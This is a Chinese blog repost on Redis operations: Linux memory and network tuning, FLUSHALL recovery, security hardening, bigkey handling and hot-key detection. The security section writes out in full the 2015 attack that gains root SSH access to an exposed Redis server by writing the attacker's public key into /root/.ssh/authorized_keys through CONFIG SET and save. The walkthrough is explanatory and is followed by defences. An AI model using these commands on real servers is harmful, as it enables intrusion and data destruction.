大佬教程收集整理的这篇文章主要介绍了redis(七)、运维配置注意,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
一、Linux配置优化
一般来说c;人们会比较关注redis本身得一些配置优化c;例如AOF和RDB得配置优化、数据结构的配置优化c;但往往会忽略掉操作系统的配置为redis服务提供更好的运行环境。
1、内存分配控制
(1)、vm.overcommit_memory
# WARNING overcommit_memory is set to 0! BACkground save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take eff
首先我们需要明白什么是overcommit?
Linux操作系统对大部分申请内存的请求都回复yesc;以便能运行更多的程序。因为申请内存后c;并不会马上使用内存c;这种技术叫做overcommit。如果redis在启动时有上面的日志c;说明vm.overcommit_memory=0c;redis提示把它设置为1。
vm.overcommit_memory用来设置内存分配策略c;有三个可选值c;如下:
上面说的可用内存代表物理内存+swap(交换区c;属于磁盘范围)的总和。
日志中的BACkground save代表的是bgsave和bgrewriteaofc;如果当前可用内存不足c;操作系统应该如何处理fork操作。如果vm.overcommit_memory=0c;代表如果没有可用内存c;就申请内存失败c;对应到redis就是执行fork失败c;在redis的日志会出现:
CAnnot allocate memory
redis建议把这个值设置为1c;是为了让fork操作能够在低内存下也执行成功。
想要查看linux中vm.overcommit_memory的值c;可以@R_491_6749@获取:
# cat /proc/sys/vm/overcommit_memory 0
设置该属性值:
echo "vm.overcommit_memory=1" >> /etc/sysctl.conf sysctl vm.overcommit_memory=1
一般生产环境建议将其设置为1c;防止极端情况下造成fork操作失败。(注意c;也要合理的设置maxmemoryc;保证机器有20-30%的闲置内存)
(2)、swappiness
swap交换区对于操作系统是比较重要的c;当物理内存不足时c;可以将一部分内存页在交换区进行操作c;但是swap物理上是属于磁盘的c;所以对于高并发、高吞吐的应用来说c;性能相较于内存操作会降低很多。
在linux中c;并不是要等到所有物理内存都使用完才会使用到swapc;系统会根据swappiness决定操作系统使用swap的倾向程度。swappiness的取值范围0-100c;swappiness值越大c;操作系统使用swap的概率越高。
该参数的默认值是60c;下面是对于常用值进行说明:
OOM(out of memory) killer 机制是指linux操作系统发现可用物理内存不足时c;则强制杀死一些用户进程(非内核进程)c;以此来保证系统有足够的可用内存分配。
(linux3.5如果设置为1则宁愿选择swap也不会去杀掉一些非内核进程)
临时设置该参数:(重启后会失效)
echo {Bestvalue} > /proc/sys/vm/swappiness
永久设置:
echo vm.swappiness={Bestvalue} >> /etc/sysctl.conf
监控swap:可以使用free命令c;查看linux的内存使用情况(物理内存、swap)。例如使用free -mc;可以显示机器有多少物理内存、swapc;实际使用了多少。
可以看出c;这台机器并没有给swap分配磁盘空间。所以使用和swap总量都为0。
linux还提供了vmstat命令查询系统相关性能指标c;其中包括负载、cpu、内存、swap、io相关属性。其中关于swap的指标有si和soc;分别代表swap in和swap out。下面我们每隔一秒输出一次vmstat的结果:
此时可以看到si和so都为0c;代表当前没有使用swap。
还有第三种方法可以监控该参数c;可以先查看某应用的进程号c;然后通过
cat /proc/进程号/smaps 命令查看器smaps信息(/proc/进程号 目录下存放着进程相关的信息c;其中smaps则记录了当前进程对应的内存映像信息)c;例如以一个redis实例为例: 先通过info server过滤出进程号process_id:
redis-cli -h ip -p port info server | grep process_id process_id:986
然后通过cat/proc/986/smaps查询redis的smaps信息c;由于有多个内存块信息c;这里只输出一个内存块镜像信息进行观察:
2aab0a400000-2aab35c00000 rw-p 2aab0a400000 00:00 0 Size: 712704 kB Rss: 617872 kB Shared_Clean: 0 kB Shared_Dirty: 0 kB Private_Clean: 15476 kB Private_Dirty: 602396 kB Swap: 58056 kB Pss: 617872 kB
其中swap字段表示该内存块存在swap分区的数据大小c;过执行如下命令c;就可以找到每个内存块镜像信息中c;这个进程使用到的swap量c;通过求和就可以算出总的swap用量:
cat /proc/986/smaps | grep Swap Swap: 0 kB Swap: 0 kB … Swap: 0 kB Swap: 478320 kB … Swap: 624 kB Swap: 0 kB
如果内存比较大c;剩余比较充足c;可以适当的调低swappniess的值(例如25以下)c;这样可用尽量的使用物理内存c;使得性能提升。如果内存不太足c;则可以调高点c;这样可以保证内存不足时导致的错误。
(3)、THP
redis在启动时可能会看到下面日志:
WARNING you have Transparent Huge Pages (THp) support enabled in your kernel. This will create latency and memory usage issues with redis. To fix this issue run the command @R_616_6515@cho never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setTing after a reboot. redis must be restarted after THP is disabled.
日志中c;redis建议修改Transparent Huge Pages(THP)的相关配置c;THP即将之前内存页从4k支持扩张到2MBc;在linux2.6.38版本后默认开启c;但有时候需要操作的内存是比较分散的c;可能只需要加载20个4kc;最后真正被加载的是10个2Mc;这样就会大量的浪费内存(例如AOF重写时的copy-on-write时就会出现这种情况)c;而且c;由于每个内存页过大c;会拖慢写操作的执行时间c;导致大量写操作慢查询。所以一般redis是建议将这个参数禁用。
临时禁用方法如下:
echo never > /sys/kernel/mm/transparent_hugepage/enabled
永久配置:在/etc/rc.local中追加: echo never > /sys/kernel/mm/transparent_hugepage/enabled
注意:
在设置THP配置时需要注意:有些Linux的发行版本没有将THP放到/sys/kernel/mm/transparent_hugepage/enabled中c;例如red Hat6以上的THP配置放到/sys/kernel/mm/redhat_transparent_hugepage/enabled中。而redis源码中检查THP时c;把THP位置写死。
FILE *fp = fopen("/sys/kernel/mm/transparent_hugepage/enabled","r"); if (!fp) return 0;
所以在发行版中c;虽然没有THP的日志提示c;但是依然存在THP所带来的问题:
echo never > /sys/kernel/mm/redhat_transparent_hugepage/enabled
(4)、OOM killer
该配置会在可用内存不足时选择性地杀掉用户进程c;那会选择哪些进程下手? OOM killer进程会给每个用户进程设置一个权重c;这个权重越高c;被处理地几率越高。每个进程地权重值放在 /proc/进程号/oom_score 中c;这个权重值受拎一个参数控制(/proc/进程号/omm_adj)c;oom_adj在不同地linux版本中最小值不同c;当oom_adj设置为最小值时c;该进程不会被OOM killer杀掉。
可以给这个adj设置值:
echo {value} > /proc/${process_iD}/oom_adj
一般对于redis所在的服务器上c;可以rEIDs用例进程的oom_adj设置为最低或者小点的值c;降低被OOM killer杀掉的概率。
脚本:
for redis_pid in $(pgrep -f "redis-server") do echo -17 > /proc/${redis_piD}/oom_adj done
但是c;omm_adj参数只是起到辅助作用c;合理的规划内存才是真正的解决问题。在高可用的情况下c;进程被杀掉比僵死更好c;因此不要太依赖于oom_adj(可以不用管他c;让操作系统自己设置)
(5)、NTP
NTP(Network Time Protocolc;网络时间协议)是一种保证不同机器时钟一致性的服务。
redis集群中c;多个节点一般会涉及多台服务器c;虽然redis并没有对多个服务器的时钟有严格要求c;但是假如多个redis实例所在的服务器时钟不一致c;对于一些异常情况的日志排查是非常困难的。例如redis Cluster的@R_127_10772@c;如果日志时间不一致c;对于我们排查问题带来很大的困扰(注:但不会影响集群功能c;集群节点依赖各自时钟)。一般公司里都会有NTP服务用来提供标准时间服务c;从而达到纠正时钟的效果(如下图所示)c;为此我们可以每天定时去同步一次系统时间c;从而使得集群中的时间保持统一。
例如每小时同步一次NTP服务:
0 * * * * /usr/sbin/ntPDAte ntp.xx.com > /dev/null 2>&1
关于搭建NTP服务:https://www.cnblogs.com/quchunhui/p/7658853.html
(6)、ulimit
在Linux中c;可以通过ulimit查看和设置系统当前用户进程的资源数。其中ulimit-a命令包含的open files参数c;是单个用户同时打开的最大文件个数:
# ulimit – a … max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 …
redis允许同时有多个客户端通过网络进行连接c;可以通过配置maxclients来限制最大客户端连接数。对Linux操作系统来说c;这些网络连接都是文件句柄。假设当前open files是4096c;那么启动redis时会看到如下日志:
# You requested maxclients of 10000 requiring at least 10032 max file descriptors. # redis can ’ t set maximum open files to 10032 because of OS error: Operation not permitted. # Current maximum open files is 4096. Maxclients has been reduced to 4064 to compensate for low ulimit. If you need higher maxclients increase ‘ ulimit – n ’ .
日志解释如下: ·第一行:redis建议把open files至少设置成10032c;那么这个10032是如何来的呢?因为maxclients默认是10000c;这些是用来处理客户端连接的c;除此之外c;redis内部会使用最多32个文件描述符c;所以这里的10032=10000+32。 ·第二行:redis不能将open files设置成10032c;因为它没有权限设置。 ·第三行:当前系统的open files是4096c;所以将maxclients设置成4096-32=4064个c;如果你想设置更高的maxclientsc;请使用ulimit-n来设置。从上面的三行日志分析可以看出open files的限制优先级比maxclients大。 Open files的设置方法如下:
ulimit – Sn {max-open-files}
(7)、TCP BACklog
redis默认的tcp-BACklog值为511c;可以通过修改配置tcp-BACklog进行调整c;如果Linux的tcp-BACklog小于redis设置的tcp-BACklogc;那么在redis启动时会看到如下日志:
# WARNING: The TCP BACklog setTing of 511 cAnnot be enforced because /proc/sys/ net/core/somaxconn is set to the lower value of 128.
查看方法:
# cat /proc/sys/net/core/somaxconn 128
修改方法:
echo 511 > /proc/sys/net/core/somaxconn
二、flushall/flushdb误操作
redis中的flushall/flushdb 命令可以做数据清除c;但如果数据清除误操作c;破坏性是很明显的c;那么怎么才能快速的恢复数据? 加入进行flush操作的是redis主从结构的主节点c;其中键值对的个数是100万c;每秒的写入量是1000。
1、缓存和存储
当redis误操作后c;根据当前redis是缓存还是存储可以使用不同的策略 缓存:对于业务数据的正确性可能造成损失还小一点c;因为缓存中的数据可以从数据源重新进行构建c;但是在介绍了缓存雪崩和缓存穿透的相关知识c;当前场景也有类似的地方c;如果业务方并发量很大c;可能会对后端数据源造成一定的负载压力c;这个问题也是不容忽视。 存储:对业务方可能会造成巨大的影响c;也许flush操作后的数据是重要配置c;也可能是一些基础数据c;也可能是业务上的重要一环c;如果没有提前做业务降级操作c;那么最终反馈到用户的应用可能就是报错或者空白页面等c;其后果不堪设想。即使做了相应的降级或者容错处理c;对于用户体验也有一定的影响。
所以redis无论作为缓存还是作为存储c;如何能在flush操作后快速恢复数据才是至关重要的。持久化文件肯定是恢复数据的媒介。
2、借助AOF机制恢复
redis执行flush操作后c;aof持久化文件会有什么影响? 当配置文件没有开启aof时(appendonly no)c;此时根本就没有文件则不会影响c;当配置文件开启了c;此时就会往aof文件中追加一条flush操作记录:
*1 $8 flushall
虽然此时redis中的数据被清除掉了c;但是AOF文件中还保存着flush操作之前的数据操作c;但是需要注意下面的问题:(禁用重写+去掉flush操作) 1)、如果发生了AOF重写c;redis遍历所有数据库重新生成AOF文件c;并会覆盖之前的AOF文件。所以如果AOF重写发生了c;也就意味着之前的数据就丢掉了c;那么利用AOF文件来恢复的办法就失效了。所以当误操作后c;需要考虑如下两件事。 1-1)、调大AOF重写参数auto-aof-rewrite-percentage和auto-aof-rewrite-min-sizec;让redis不能产生AOF自动重写。 1-2)、拒绝手动bgrewriteaof。
2)、如果要用AOF文件进行数据恢复c;那么必须要将AOF文件中的flushall相关操作去掉c;为了更加安全c;可以在去掉之后使用redis-check-aof这个工具去检验和修复一下AOF文件c;确保AOF文件格式正确c;保证数据恢复正常。
3、RDB文件有什么影响?
如果配置文件没有开启RDB的自动策略c;也就是没在配置文件中没有类似下面的配置:
save 900 1 save 300 10 save 60 10000
那么除非手动执行过save、bgsave或者发生了主从的全量复制c;否则RDB文件也会保存flush操作之前的数据c;可以作为恢复数据的数据源(save、bgsave或者发生了主从的全量复制操作可能会生成新的RDB文件覆盖旧文件)。注意问题如下: 1)、防止手动执行save、bgsavec;如果此时执行save、bgsavec;新的RDB文件就不会包含flush操作之前的数据c;被老的RDB文件进行覆盖。 2)、RDB文件中的数据可能没有AOF实时性高c;也就是说c;RDB文件很可能很久以前主从全量复制生成的c;或者之前用save、bgsave备份的。
如果开启了RDB的自动策略c;由于flush涉及键值数量较多c;RDB文件会被清除c;意味着使用RDB恢复基本无望。(flush后无法使用RDB进行数据恢复)
4、从节点的影响
redis从节点同步了主节点的flush命令c;所以从节点的数据也是被清除了c;从节点的RDB和AOF的变化与主节点都是一样的。
5、快速恢复数据
下面使用AOF作为数据源进行恢复演练。 1)防止AOF重写。快速修改redis主从的auto-aof-rewrite-percentage和auto-aof-rewrite-min-size变为一个很大的值c;从而防止了AOF重写的发生c; 例如:
config set auto-aof-rewrite-percentage 1000 config set auto-aof-rewrite-min-size 100000000000
2)去掉主从AOF文件中的flush相关内容:
*1 $8 flushall
这里建议运维人员提前准备sHell脚本或者其他自动化的方式处理c;因为故障不等人c;对于flush这样的危险操作c;应该通过有效的方式进行规避。
三、安全的redis
2015年11月c;全球数万个redis节点遭受到了攻击c;所有数据都被清除了c;只有一个叫crackit的键存在c;这个键的值很像一个公钥c;如下所示。
127.0.0.1:6379> get crackit "nnnssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9p HPSqW+n8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlq PgzrzYflP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF 0JLTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGD l1kTNAzdj+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q == root@zw_xx_192nnnn"
数据丢失对于很多redis的开发者来说是致命的c;经过相关机构的调查发现c;被攻击的redis有如下特点:
- ·redis所在的机器有外网IP。
- ·redis以默认端口6379为启动端口c;并且是对外网开放的。
- ·redis是以root用户启动的。
- ·redis没有设置密码。
- ·redis的bind设置为0.0.0.0或者""。
攻击者充分利用redis的dir和dbfilename两个配置可以使用COnfig set动态设置c;以及RDB持久化的特性c;将自己的公钥写入到目标机器的/root/.ssh/authotrized_keys文件中c;从而实现了对目标机器的攻陷。攻击过程如图所示。
1)首先确认当前(攻击前)机器A不能通过SSH访问机器Bc;因为没有权限:
#ssh root@123.16.xx.182 root@123.16.xx.182's password:
2)由于机器B的外网对外开通了redis的6379端口c;所以可以直接连接到redis上执行flushall操作c;注意此时破坏性就已经很大了c;如下所示:
#redis-cli -h 123.16.xx.182 -p 6379 ping PONG #redis-cli -h 123.16.xx.182 -p 6379 flushall OK
3)在机器A生成公钥c;并将公钥保存到一个文件my.pub中:
# cd /root # ssh-keygen -t rsa # (echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > my.pub # cat my.pub ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9phpSqW+n 8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgzrzY flP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0JLTU 5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1kTNAzdj +jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q== root@zw_xx_192
4)将键crackit的值设置为公钥。
cat my.pub | redis-cli -h 123.16.xx.182 -p 6379 -x set crackit OK redis-cli -h 123.16.xx.182 -p 6379 get crackit "nnnssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9php SqW+n8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgz rzYflP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0J LTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1 kTNAzdj+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q == root@zw_94_190nnnn"
5)将redis的dir设置为/root/.ssh目录c;dbfilename设置为authorized_keysc;执行save命令生成RDB文件c;如下所示:
123.16.xx.182:6379> config set dir /root/.ssh OK 123.16.xx.182:6379> config set dbfilename authorized_keys OK 123.16.xx.182:6379> save OK
此时机器B的/root/.ssh/authorized_keys包含了攻击者的公钥c;之后攻击者就可以“为所欲为”了。 6)此时机器A再通过SSH协议访问机器Bc;发现可以顺利登录:
[@zw_94_190 ~]# ssh root@123.16.xx.182 Last login: Mon Sep 19 08:42:55 2016 from 10.10.xx.192
登录后可以观察/root/.ssh/authorized_keysc;可以发现它就是RDB文件:
#cat /root/.ssh/authorized_keys redis0006tcrackitA ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9phpSqW+n 8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgzrzY flP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0JLTU5 fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1kTNA zdj+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q== root @zw_xx_192
谁也不想自己的redis以及机器就这样被攻击吧?本节我们来将介绍如何让redis足够安全。
redis的设计目标是一个在内网运行的轻量级高性能键值服务c;因为是在内网运行c;所以对于安全方面没有做太多的工作c;redis只提供了简单的密码机制c;并且没有做用户权限的相关划分。那么c;在日常对于redis的开发和运维中要注意哪些方面才能让redis服务不仅能提供高效稳定的服务c;还能保证在一个足够安全的网络环境下运行呢?
1、redis密码机制
临时配置密码(重启后失效)(命令设置)和永久生效(配置文件配置)
https://www.cnblogs.com/x-ll123/p/9717351.html
注意:如果是主从结构的redisc;不要忘记在从节点的配置中加入masterauth(master密码)的配置c;否则会造成主从节点同步失效。
auth是通过明文进行传输的c;所以也不是100%可靠c;如果被攻击者劫持也相当危险。
2、伪装危险命令
在redis中有很多危险的命令c;一旦错误使用或者误操作c;后果不堪设想。例如: keys——如果键较多c;存在阻塞redis的可能性
flushall/flushdb——清除全部数据
debug——例如debug reload会重启redis
config——config这些配置参数命令应该交给管理员使用(所以启动用户尽量不要用root)
shutdown——停止redis。
理论上这些命令不应该开发给普通人员使用c;那么此时有什么方法可以防止这些危险的命令被随意执行?
redis中提供了rename-command配置解决这些问题c;下面使用一个例子说明rename-command的作用c;例如现在要将flushall重命名为某个字符串c;这样别人不知道这个字符串就使用不了了。
在redis的配置文件中加入如下配置:(“”表示禁用)
rename-command flushall jlikfjalijl3i4jl3jql34j
这样在执行flushall命令:
127.0.0.1:6379> flushall (error) ERR unknown command ‘ flushall ’
如果执行那个字符串则可以:
127.0.0.1:6379> jlikfjalijl3i4jl3jql34j OK
rename-command虽然可以对redis的安全提供一定的帮助c;但它也会带来一些麻烦:
- 如果真的需要用到这些命令时c;要自行去修改客户端的代码和配置的字符串名称一致。
- rename-command不支持动态命令设置(config set)c;在启动前要在配置文件中配好。
- 如果旧的AOF、RDB包含了rename-command之前的命令c;redis会无法启动(识别不了rename-command之前的命令)
- redis源码中可能有一些命令是写死的c;rename-command可能导致redis无法正常工作。例如SenTinel节点在修改配置时直接使用了config命令c;如果对config使用rename-commandc;会造成redis SenTinel无法正常工作。
一般建议对于一些危险命令不管内外网都使用rename-commandc;如果是主从关系c;注意要保存主从节点的配置参数的一致性c;否则会出现数据不一致的情况。
3、防火墙
可以使用防火墙限制输入和输出的IP或者IP范围、端口或者端口范围c;在比较成熟的公司都会对有外网IP的服务器做一些端口的限制c;例如只允许80端口对外开放。因为一般来说c;开放外网IP的服务器中Web服务器比较多c;但通常存储服务器的端口无需对外开放c;防火墙是一个限制外网访问redis的必杀技。
4、bind
很多开发者一开始对于bind的配置认为是指定redis只接收某个网段ip的客户端请求c;但事实上bind指定的是redis和哪个网卡进行绑定c;例如我们使用ifconfig获取当前网卡信息:
eth0 Link encap:Ethernet Hwaddr 90:B1:1C:0B:18:02 inet addr:10.10.xx.192 Bcast:10.10.xx.255 Mask:255.255.255.0 … eth1 Link encap:Ethernet Hwaddr 90:B1:1C:0B:18:03 inet addr:220.181.xx.123 Bcast:220.181.xx.255 Mask:255.255.255.0 … lo Link encap:Local LoopBACk inet addr:127.0.0.1 Mask:255.0.0.0
其中依次有三个ip地址:
- 内网地址:10.10.xx.192
- 外网地址:220.181.xx.123
- 回环地址:127.0.0.1
当redis配置了bind 10.10.xx.192c;那么要连接redis只能通过10.10.xx.192这块网卡进入c;此时通过redis-cli –h 220.181.xx.123 –p 6379和本机redis-cli –h 127.0.0.1 –p 6379都无法连接到redisc;此时会收到以下提示:
# redis-cli – h 220.181.xx.123 – p 6379 Could not connect to redis at 220.181.xx.123:6379: Connection refused
此时只能通过10.10.xx.192进行连接:
# redis-cli – h 10.10.xx.192 10.10.xx.192:6379> ping PONG
bind参数可以设置多个c;例如下面的配置表示当前redis只接受来自10.10.xx.192和127.0.0.1的网络流量:
bind 10.10.xx.192 127.0.0.1
redis3.2中配置 bind 0.0.0.0 可以不限制网卡的访问c;即所有网卡都可以访问。
一般生产中的建议:
- 如果有外网ipc;但部署的redis是给内部使用的c;此时可以去掉外网网卡或者使用bind配置限制外网的流量。
- 如果客户端和redis都部署在同一台服务器上c;可以使用回环地址(127.0.0.1)。
- bind配置不支持config set(动态配置)c;所以要事先配置好。
- redis3.2提供了protected-mode配置(默认开启)c;该配置的含义是如果当前redis没有配置密码c;没有配置bindc;那么只允许来自本机的访问c;也就是相当于配置了bind127.0.0.1。
5、定时备份数据
6、不使用默认端口
redis的默认端口是6379c;不使用默认端口从一定程度上可降低被入侵者发现的可能性c;因为入侵者通常本身也是一些攻击程序c;对目标服务器进行端口扫描c;例如MySQL的默认端口3306、Memcache的默认端口11211、jetty的默认端口8080等都会被设置成攻击目标c;redis作为一款较为知名的NoSQL服务c;6379必然也在端口扫描的列表中c;虽然不设置默认端口还是有可能被攻击者入侵c;但是能够在一定程度上降低被攻击的概率。
7、使用非root用户启动
root用户作为管理员c;权限非常大。如果被入侵者获取root权限后c;就可以在这台机器以及相关机器上“为所欲为”了。笔者建议在启动redis服务的时候使用非root用户启动。事实上许多服务c;例如resin、jetty、HBase、Hadoop都建议使用非root启动。
四、处理bigkey(大对象)
bigkey指的是key对应的value所占的内存空间较大。
一个字符串类型的value可以存到512MBc;一个list类型可以有2^32 -1 个元素。所以我们可以按数据结构的分为字符串型bigkey和非字符串型bigkey。
字符串类型bigkey:一般可以认为value超过10kb就是bigkeyc;但这个值会和具体QPS相关。
非字符串类型:哈希、列表、集合、有序集合c;体现在元素个数过多。
1、bigkey的危害
主要体现在三个方面:
- 内存空间不均匀(平衡):例如在redis Cluster中c;bigkey会造成节点的内存空间使用不均匀。
- ·超时阻塞:由于redis单线程的特性c;操作bigkey比较耗时c;也就意味着阻塞redis可能性增大。
- ·网络拥塞:每次获取bigkey产生的网络流量较大c;假设一个bigkey为1MBc;每秒访问量为1000c;那么每秒产生1000MB的流量c;对于普通的千兆网卡(按照字节算是128MB/s)的服务器来说简直是灭顶之灾c;而且一般服务器会采用单机多实例的方式来部署c;也就是说一个bigkey可能会对其他实例造成影响c;其后果不堪设想。图12-3演示了网络带宽被bigkey占用的瞬间。
2、发现bigkey
可以使用 redis-cli --bigkeys来查看bigkey的分布统计信息c;但在生产环境c;我们一般希望能够自己定义bigkey的大小c;需要找到bigkey在哪里?这样才能快速的去定位、解决、优化问题。
判断某个key是否是bigkeyc;只需要执行debug object keyc;然后查看serializedlengthc;这个指标对应value序列化后的字节数:
127.0.0.1:6379> debug object key Value at:0x7fc06c1b1430 refcount:1 encoding:raw serializedlength:1256350 lru:11686193 lru_seconds_idle:20
此时serializedlength约为1Mc;然后可以看到encoding是raw(字符串类型的内部编码)c;注意这个serializedlength不代表真实字节大小c;它返回对象使用RDB编码序列化后的长度c;值会偏小c;但是对于排查bigkey有一定辅助作用。
如果查看这个字符串的真实字符串长度c;可以使用strlen key命令:(此时真实大小2M左右)
127.0.0.1:6379> strlen key (Integer) 2247394
在生产环境中发现bigkey有两种方式: 1)、被动收集
许多开发人员确实可能对bigkey不了解或重视程度不够c;但是这种bigkey一旦大量访问c;很可能就会带来命令慢查询和网卡跑满问题c;开发人员通过对异常的分析通常能找到异常原因可能是bigkeyc;这种方式虽然不是被笔者推荐的c;但是在实际生产环境中却大量存在c;建议修改redis客户端c;当抛出异常时打印出所操作的keyc;方便排查bigkey问题。
2)、主动检测
scan+debug object:如果怀疑存在bigkeyc;可以使用scan命令渐进的扫描出所有的keyc;分别计算每个key的serializedlengthc;找到对应bigkey进行相应的处理和报警c;这种方式是比较推荐的方式。
注意:
- 如果键值个数比较多c;scan+debug object会比较慢c;可以利用Pipeline机制完成。
- 对于元素个数较多的数据结构c;debug object执行速度比较慢c;存在阻塞redis的可能。
- 如果有从节点c;可以考虑在从节点上执行。
3、优雅删除bigkey(4.0之前的版本需要注意c;4.0之后版本不需要关注)
无论什么数据类型c;都可以用del命令将其删除c;但是删除bigkey通常会阻塞redis服务。
下面对于五种数据类型的bigkey进行删除c;其中bigkey的元素个数和每个元素的大小不尽相同。
1)、删除512kb-10mb的字符串类型所花费实际。(整体花费时间还是比较低的)
2)、其他四种
从上分析可见c;除了String类型c;其他四种数据结构删除的速度有可能很慢c;这样增大了阻塞redis的可能性。既然不能用del命令c;那有没有比较优雅的方式进行删除呢? 这个时候就需要scan类似的命令:sscan、hscan、zscan。
对于非String类型的删除c;例如hashc;可以先用hscan命令c;每次获取部分(例如100个)元素c;然后利用hdel删除。这样分段删除就不会出现阻塞时间过长。(为了快速可以使用Pipline)。实现代码:
在生产中如果发现bigkeyc;要思考一下可不可以做一些优化(例如拆分数据结构)尽量让这些bigkey消失在业务中c;如果bigkey不可避免c;也要思考一下要不要每次把所有元素都取出来(例如有时候仅仅需要hmgetc;而不是hgetall)。
最后redis4.0之后是支持lazy delete free的模式(异步延迟删除、懒删除)c;则删除bigkey不会阻塞redis。https://www.jb51.net/article/163919.htm
五、寻找热点key
对于某些频繁访问的keyc;当并发高时c;对于redis来说是个巨大的挑战c;以redis cluster为例c;它会造成个别节点的OPS过大的情况。极端情况下可能会超过redis本身能承受的ops。因此寻找热点key对于开发和运维人员非常重要。下面从四个方面来分析热点key。
1、客户端(统计单个客户端)
可以使用全局字典(key和调用次数)c;每次调用某个key时自增调用次数。
但这样需要去修改客户端代码或者业务代码。例如在jedis客户端代码的Connection类中的sendCommand方法c;这个方法是发送命令都需要经过的方法c;此时可以在方法中进行计数:
public Connection sendCommand(final ProtocolCommand cmd, final byte[]... args) { // 从参数中获取 key String key = analysis(args); // 计数 counterKey(key); ... }
再使用Guava的原子类进行递增:
// 使用 Guava 的 AtomicLongMap, 记录 key 的调用次数 public static final AtomicLongMap<String> ATOMIC_LONG_MAP = AtomicLongMap.create(); String get(String key) { counterKey(key); ... } String set(String key, String value) { counterKey(key); ... } void counterKey(String key) { ATOMIC_LONG_MAP.incrementAndGet(key); }
为了防止ATOMIC_LONG_MAP 过大c;可以定时清除数据。
但是这种方案存在较多问题:
当然除了使用本地字典计数外c;还可以使用其他存储来完成异步计数c;从而解决本地内存泄露问题。但是另两个问题还是不好解决。(而且这样只能统计单个客户端的)
2、代理端(统计所有客户端节点)
例如Twemproxy、Codis这些基于代理的redis分布式架构c;所有客户端的请求都是通过代理端完成的c;如图所示。此架构是最适合做热点key统计的c;因为代理是所有redis客户端和服务端的桥梁。但并不是所有redis都是采用此种架构。
@H_178_674@
3、 redis服务端(统计单服务端节点)
可以使用monitor命令统计热点keyc;使用monitor会监控到获得下面的信息:
1477638175.920489 [0 10.16.xx.183:54465] "GET" "tab:relate:kp:162818" 1477638175.925794 [0 10.10.xx.14:35334] "hGETALL" "rf:v1:84083217_83727736" 1477638175.938106 [0 10.16.xx.180:60413] "GET" "tab:relate:kp:900" 1477638175.939651 [0 10.16.xx.183:54320] "GET" "tab:relate:kp:15907" ... 1477638175.962519 [0 10.10.xx.14:35334] "GET" "tab:relate:kp:3079" 1477638175.963216 [0 10.10.xx.14:35334] "GET" "tab:relate:kp:3079" 1477638175.964395 [0 10.10.xx.204:57395] "hGETALL" "rf:v1:80547158_83076533"
Facebook开源的redis-faina 正是利用上述原理
但是这种方式存在一定问题:
- 多次强调monitor命令在高并发条件下c;会存在内存暴增和影响redis性能的隐患c;所以此种方法适合在短时间内使用。
- ·只能统计一个redis节点的热点keyc;对于redis集群需要进行汇总统计。
4、抓包日志收集
redis客户端使用TCP协议和服务端进行交互c;通信协议采用的是RESPc;站在机器的角度c;可以对redis上的TCP数据包进行抓取然后解析完成热点key的统计。
此种方法对于redis客户端和服务端来说毫无侵入c;是比较完美的方案c;但是依然存在两个问题:
- 需要一定的开发成本c;但是一些开源方案实现了该功能c;例如ELK(ElasticSearch Logstash Kibana)体系下的packetbeat [2] 插件c;可以实现对redis、MySQL等众多主流服务的数据包抓取、分析、报表展示。
- ·由于是以机器为单位进行统计c;要想了解一个集群的热点keyc;需要进行后期汇总。
例如https://blog.csdn.net/weixin_39622568/article/details/110987925
下面对于这四种方案做简单总结:
